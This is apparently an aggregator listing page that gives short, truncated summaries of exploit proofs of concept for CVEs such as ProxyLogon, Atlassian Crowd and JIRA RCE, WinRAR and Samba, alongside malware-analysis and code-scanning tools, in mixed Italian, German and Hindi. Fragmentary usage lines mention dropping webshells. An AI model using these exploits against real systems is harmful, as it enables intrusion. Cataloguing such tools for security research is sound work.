ProxyLogon

ProxyLogon PoC originale: https://github.com/testanull Come usare: python proxylogon.py Esempio: python proxylogon.py primary [email protected] Se ha successo, verrai portato in una webshell. Usa exit o quit per uscire dalla webshell o ctrl+c Per impostazione predefinita, creerà un file...

CVE-2024-6387

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Chiediamo il ritorno sicuro di tutti i cittadini che sono stati presi in ostaggio dal gruppo terroristico Hamas. Non ci fermeremo finché ogni ostaggio non sarà rilasciato e non tornerà a casa sano e salvo. Puoi aiutare a riportarli a...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE vulnerabilità di esecuzione remota di comandi uso root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : Richiesta BurpSuite:...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE und Laden externer Ressourcen gefunden von @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Nur ein Beispiel, um eine Webshell im aktuellen Verzeichnis abzulegen. root@kitploit: python3 CVE-2023-2255.py --cmd 'wget...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

FileInsight-plugins

FileInsight-plugins: cassetta degli attrezzi di decodifica dell'editor esadecimale McAfee FileInsight per l'analisi malware FileInsight-plugins è un vasto insieme di plugin per l'editor esadecimale McAfee FileInsight. Aggiunge molte funzionalità come decifratura, decompressione, ricerca di string...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd e Crowd Data Center RCE Utilizzo: python CVE-2019-11580.py http://xx.xx.xx.xx/ Download versione vulnerabile Crowd-2.11.0 https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0...

mal_unpack

malunpack Dynamic unpacker based on PE-sieve 📖 Read more . It deploys a packed malware, waits for it to unpack the payload, dumps the payload, and kills the original process. !CAUTION This unpacker deploys the original malware. Use it only on a VirtualMachine. ⚙ Usage Basic usage: root@kitploit:...

caracal

Caracal Caracal is a static analyzer tool over the SIERRA representation for Starknet smart contracts. Features Detectors to detect vulnerable Cairo code Printers to report information Taint analysis Data flow analysis framework Easy to run in Scarb projects Installation Precompiled binaries...

EagleVM

EagleVM Playground per la generazione di assembly x64 protetto da macchina virtuale. Struttura del progetto EagleVM Applicazione di protezione principale che virtualizza il codice. EagleVM.Core Libreria statica utilizzata da EagleVM che fornisce tutte le funzionalità di virtualizzazione e analisi...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c su twitter Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Cosa sta succedendo? Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts...

CVE-2019-11581

CVE-2019-11581 Atlassian JIRA टेम्पलेट इंजेक्शन भेद्यता RCE डेमो python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" भेद्यता संस्करण डाउनलोड https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe Poc root@kitploit:...

CVE-2023-33733

Schwachstelle zur Code-Injection in der Python-Bibliothek Reportlab tl;dr In diesem Beitrag wird beschrieben, wie eine RCE Remote Code Execution in Reportlab gefunden und ausgenutzt wurde. Aufgrund der weiten Verbreitung von Reportlab bei der HTML-zu-PDF-Verarbeitung könnte diese Schwachstelle in...

CVE-2024-30051

Vulnerabilità di Elevazione dei Privilegi nella Libreria DWM Core di Windows CVE-2024-30051 Pubblicata il 15 Agosto 2024 In questo post del blog, spiegherò una vulnerabilità nella libreria DWM Core di Microsoft Windows che ho analizzato quando lo exploit per Core Impact veniva sviluppato. Permett...

CVE-2024-38063-poc

Real POC pubblicato https://github.com/ynwarcs/CVE-2024-38063 e l'ho aggiornato anche nel mio codice, questo può causare un crash nel tuo sistema, quindi usa una VM o solo per imparare, puoi ottenere RCE apportando modifiche al codice. Utilizzo iface Molto probabilmente è abilitato per impostazio...

CVE-2021-40444

Vollständig bewaffnetes CVE-2021-40444 Bösartiger Docx-Generator zur Ausnutzung von CVE-2021-40444 Microsoft Office Word Remote Code Execution, funktioniert mit beliebigen DLL-Dateien. Update 31.05.2022 - CVE-2022-30190 - Follina Der Generator kann nun auch das Dokument generieren, das für den...

php_code_analysis

Dieses Skript wird Ihren Code scannen Das Skript kann finden: 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection Funktionen 1. schnell 2. einfacher Bericht Verwendung: root@kitploit: python code.p...

Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708-

Vulnerabilità-di-Esecuzione-Remota-di-Codice-nei-Servizi-Desktop-Remoto-CVE-2019-0708- rce exploit , realizzato per funzionare con pocsuite3 https://github.com/knownsec/pocsuite3 Installa pocsuite 3 dal link sopra. Se hai problemi , contatta il team knownsec-404 Non aprire issue qui perché non è...

CVE-2023-38831-RaRCE

RaRCE, generatore di exploit per CVE-2023-38831 Questo è un generatore di exploit versatile, facile da installare e da usare, per CVE-2023-38831, una vulnerabilità che colpisce le versioni di WinRAR precedenti alla 6.23. RARLabs WinRAR precedente alla versione 6.23 consente agli attaccanti di...

SambaHunter

SambaHunter E' un semplice script per sfruttare la RCE su Samba CVE-2017-7494. Ora funziona con Python3. Molte delle librerie richieste per Python2 sono deprecate es. commands Aggiunto logging per mostrare quali condivisioni sono scrivibili. Se appare 'Exploit Finished' ma nessuna condivisione è...